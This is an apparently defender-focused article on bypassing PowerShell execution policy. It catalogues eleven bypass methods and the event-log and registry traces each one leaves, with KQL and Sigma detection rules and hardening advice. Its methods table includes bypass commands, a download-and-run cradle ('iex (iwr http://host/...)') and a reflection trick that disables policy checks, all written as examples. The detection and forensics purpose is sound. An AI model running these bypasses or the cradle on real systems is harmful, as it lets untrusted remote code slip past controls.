Skip to content

PowerShell Execution Policy Bypass: Every Method and the Logs It Leaves

How -ExecutionPolicy Bypass, -Scope Process, piping to powershell -, IEX and registry edits get around execution policy, and what each leaves in the logs.

Published on 9 min read

TL;DR. PowerShell's execution policy decides whether script files may run. It is not a security boundary, and Microsoft says so: any user can get around it without administrator rights, in about a dozen ways. For defenders the interesting question is not whether it was bypassed but how, because each method leaves different traces: a switch on the command line, a registry value, a script block in event 4104, or nothing but the code itself. This post lists the methods, then what each one leaves behind and how to search for it.

Execution policy is not a security boundary

Microsoft's own documentation (about_Execution_Policies) describes the execution policy as "defense in depth", meant to stop users from running scripts unintentionally, and gives the first bypass itself: if a script cannot run, type its contents at the prompt.

The policies are:

PolicyEffect
RestrictedIndividual commands work, script files (.ps1, .psm1, .ps1xml, profiles) do not. Default on Windows clients.
RemoteSignedLocal scripts run; scripts marked as downloaded from the internet need a trusted signature. Default on Windows Server.
AllSignedEvery script must be signed by a trusted publisher.
UnrestrictedEverything runs; you get a warning for scripts from outside the local intranet zone.
BypassNothing is blocked, no warnings or prompts.
UndefinedNothing set in this scope.

So an attacker never "needs" to defeat the policy, but they very often switch it off anyway, because their tooling ships as .ps1 files and a prompt or an error is noise they do not want. That habit is what makes the switches so useful to detect.

Scopes and precedence

The effective policy comes from five scopes, highest precedence first. Get-ExecutionPolicy -List shows all of them:

        Scope ExecutionPolicy
        ----- ---------------
MachinePolicy       Undefined
   UserPolicy       Undefined
      Process          Bypass
  CurrentUser    RemoteSigned
 LocalMachine      Restricted
ScopeSet byStored in
MachinePolicyGroup Policy, computer configuration ("Turn on Script Execution")HKLM\Software\Policies\Microsoft\Windows\PowerShell (EnableScripts, ExecutionPolicy)
UserPolicyGroup Policy, user configurationHKCU\Software\Policies\Microsoft\Windows\PowerShell
Process-ExecutionPolicy on the command line, or Set-ExecutionPolicy -Scope ProcessThe PSExecutionPolicyPreference environment variable of that process. Not in the registry.
CurrentUserSet-ExecutionPolicy -Scope CurrentUser, no admin neededExecutionPolicy value under HKCU\Software\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell
LocalMachineSet-ExecutionPolicy (default scope), needs adminSame value under HKLM\Software\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell

The forensic consequence: only CurrentUser, LocalMachine and the Group Policy scopes leave anything on disk. A Process-scope bypass exists only in the memory of that process and in whatever logged its command line.

The paths above are for Windows PowerShell 5.1 (powershell.exe). PowerShell 7 (pwsh.exe) keeps its own setting as "Microsoft.PowerShell:ExecutionPolicy" in powershell.config.json: in $PSHOME for LocalMachine, and in the user's profile folder (Split-Path $PROFILE.CurrentUserCurrentHost, normally Documents\PowerShell) for CurrentUser. A 5.1 registry check does not cover it.

The bypass methods

#MethodExampleNeeds admin
1Launch switchpowershell.exe -ExecutionPolicy Bypass -File .\run.ps1 (also -ep bypass, -exec bypass, -ex unrestricted)No
2Process scope from inside a sessionSet-ExecutionPolicy Bypass -Scope Process -ForceNo
3Persistent, per userSet-ExecutionPolicy Unrestricted -Scope CurrentUser -ForceNo
4Persistent, machineSet-ExecutionPolicy Bypass -ForceYes
5Registry write instead of the cmdletreg add HKCU\Software\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell /v ExecutionPolicy /t REG_SZ /d Unrestricted /fNo (HKCU)
6Don't run a file: pipe it to stdinGet-Content .\run.ps1 | powershell.exe -NoProfile -No
7Don't run a file: Invoke-ExpressionGet-Content .\run.ps1 -Raw | Invoke-Expression, or iex (iwr http://host/run.ps1 -UseBasicParsing)No
8Don't run a file: a script block[scriptblock]::Create((Get-Content .\run.ps1 -Raw)).Invoke()No
9Pass the code inlinepowershell.exe -Command "<script text>" or -EncodedCommand <base64>No
10Remove the internet markUnblock-File .\run.ps1, or deleting the Zone.Identifier stream. Only matters under RemoteSigned.No
11Swap the AuthorizationManagerReflection on $ExecutionContext replaces the session's internal _authorizationManager field with a fresh AuthorizationManager that performs no policy check.No

Methods 6 to 9 are the important ones to understand: the policy only governs script files, so anything that feeds the code to the engine as text never meets it. Group Policy settings stop methods 1 to 5 (Group Policy scope wins over every other scope), but not 6 to 9.

What each method leaves behind

MethodProcess command line (4688, Sysmon 1)Classic log 400/403 HostApplicationScript block log 4104RegistryTranscript
1. -ExecutionPolicy BypassYes, the switchYes, the full command lineThe script that ranNothingHeader Host Application line
2. -Scope ProcessNoNoThe Set-ExecutionPolicy call if it was in a script; typed commands are logged tooNothingThe command
3 / 4. Set-ExecutionPolicy persistentOnly if run via -CommandSameThe call; 4103 also records it with its parameters if module logging covers Microsoft.PowerShell.SecurityExecutionPolicy value, key last-write time; Sysmon 13The command
5. reg addreg.exe command lineNoOnly if done from PowerShellSame as 3/4No
6. Pipe to powershell -powershell.exe -NoProfile -: an otherwise empty command lineHostApplication ends in -The piped scriptNothingHeader line, if transcription is on
7. Invoke-ExpressionOnly if launched with -CommandSameThe expression and the code it runsNothingThe command
8. [scriptblock]::CreateNoNoThe created blockNothingThe command
9. -Command / -EncodedCommandYes, possibly encodedYesThe decoded codeNothingHeader line
10. Unblock-FileNoNoThe callNothing; the Zone.Identifier stream is goneThe command
11. AuthorizationManagerNoNoThe reflection code, including _authorizationManagerNothingThe command

Three practical notes:

  • Script block logging (4104) catches almost all of it, because however the code reached the engine, PowerShell logs the code it compiles. That is why attackers who know what they are doing turn it off first; see script block logging. Event 4104 is enabled by default only for blocks PowerShell considers suspicious, so check whether it was turned on fully.
  • The classic Windows PowerShell log (event 400 "Engine state changed" and 403) records HostApplication for every session, with the full command line, whether or not any modern logging was configured. It is often the only place a -ep bypass launch survives. See the PowerShell event-log guide.
  • A persistent change is evidence of intent and timing. The last-write time of the ShellIds\Microsoft.PowerShell key tells you when the CurrentUser or LocalMachine policy was last changed. Compare it with your timeline.

Detection queries

Process creation (Microsoft Defender for Endpoint, KQL). This matches -ep, -ex, -exec and -ExecutionPolicy followed by bypass or unrestricted, with - or /:

DeviceProcessEvents
| where FileName in~ ("powershell.exe", "pwsh.exe")
| where ProcessCommandLine matches regex @"(?i)\s[-/](ep|ex\w*)\s+(bypass|unrestricted)\b"
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, ProcessCommandLine

The same logic as a Sigma rule for any process-creation source (Sysmon 1, Security 4688 with command-line auditing):

title: PowerShell launched with execution policy bypass
status: experimental
logsource:
  category: process_creation
  product: windows
detection:
  selection_img:
    Image|endswith:
      - '\powershell.exe'
      - '\pwsh.exe'
  selection_cli:
    CommandLine|re: '(?i)\s[-/](ep|ex\w*)\s+(bypass|unrestricted)\b'
  condition: selection_img and selection_cli
level: low

Keep the level low on its own. Software deployment tools, installers and management agents launch PowerShell with -ExecutionPolicy Bypass all day. It becomes interesting in combination: a bypass plus -WindowStyle Hidden plus -EncodedCommand or a download cradle, from an Office application, wscript.exe, mshta.exe or a scheduled task. Baseline the parent processes in your environment and alert on the rest.

For the methods that never touch a command line, search 4104 ScriptBlockText instead:

// Event ID 4104, Microsoft-Windows-PowerShell/Operational
| where ScriptBlockText has "_authorizationManager"
    or ScriptBlockText matches regex @"(?i)set-executionpolicy\s.*(bypass|unrestricted)"
    or ScriptBlockText has_any ("Unblock-File", "ShellIds\\Microsoft.PowerShell")

Adapt the first line to where your 4104 events land (SecurityEvent does not hold them; a custom table or Event usually does).

Or paste the log into the parser

The PowerShell Parser reads Microsoft-Windows-PowerShell%4Operational.evtx, the classic Windows PowerShell.evtx, PSReadLine history and transcripts in your browser, reassembles split 4104 blocks, and raises an execution policy bypass finding for -ExecutionPolicy/-ep/-ex with Bypass or Unrestricted and for Set-ExecutionPolicy ... Bypass|Unrestricted, including inside -EncodedCommand layers it decodes. Nothing is uploaded. It does not currently flag the AuthorizationManager trick or registry writes, so run the 4104 search above for those.

Hardening that actually works

Since the execution policy cannot stop a determined user, put the control somewhere that can:

  • WDAC (App Control for Business) or AppLocker with script rules. When script enforcement is on, PowerShell runs scripts that the policy does not allow in Constrained Language Mode, which blocks the .NET reflection, Add-Type and COM access that most offensive tooling depends on. Check the result in a session with $ExecutionContext.SessionState.LanguageMode. This is the control Microsoft treats as a security boundary.
  • Set the policy by Group Policy ("Turn on Script Execution" under Administrative Templates > Windows Components > Windows PowerShell). It overrides -ExecutionPolicy and Set-ExecutionPolicy, so methods 1 to 5 stop working, and it makes any -ep bypass in your logs stand out as a failed or unusual attempt. It still does not stop methods 6 to 9.
  • Turn on script block logging, module logging and transcription, and forward the Operational and classic logs off the host. Every method above shows up in at least one of them. See PowerShell transcription for the transcript side.
  • Remove PowerShell 2.0 where it is still installed. powershell.exe -Version 2 runs without AMSI and without script block logging, which defeats the logging above (see downgrade attack).

FAQ

Is the PowerShell execution policy a security boundary?

No. Microsoft documents it as a safety feature, not a security boundary: any user can override it for their own session without administrator rights. Use WDAC or AppLocker with Constrained Language Mode to actually restrict scripts.

What does Set-ExecutionPolicy Bypass -Scope Process do?

It sets the policy to Bypass for the current PowerShell process and its child processes only. Nothing is written to the registry; the setting lives in the PSExecutionPolicyPreference environment variable and disappears when the session closes. No administrator rights are needed.

Does Group Policy stop -ExecutionPolicy Bypass?

A Group Policy execution policy (MachinePolicy or UserPolicy scope) takes precedence over -ExecutionPolicy and Set-ExecutionPolicy. It does not stop methods that never run a script file, such as piping the script into powershell.exe or passing it to Invoke-Expression.

Where is the execution policy stored?

LocalMachine and CurrentUser are stored in the ExecutionPolicy value under HKLM or HKCU \Software\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell. The Process scope is only in the PSExecutionPolicyPreference environment variable. Group Policy uses HKLM or HKCU \Software\Policies\Microsoft\Windows\PowerShell.

Related articles

Step-by-step: open PowerShell .evtx, PSReadLine history and transcripts in a free in-browser viewer, reassemble script blocks, decode commands, export CSV/JSON.
How PowerShell transcripts are structured, what the header records, how command timestamps work with -IncludeInvocationHeader, and how to investigate them.
What the PSReadLine history file records, where it lives, why it has no timestamps, and how to use it — and its limits — in an investigation.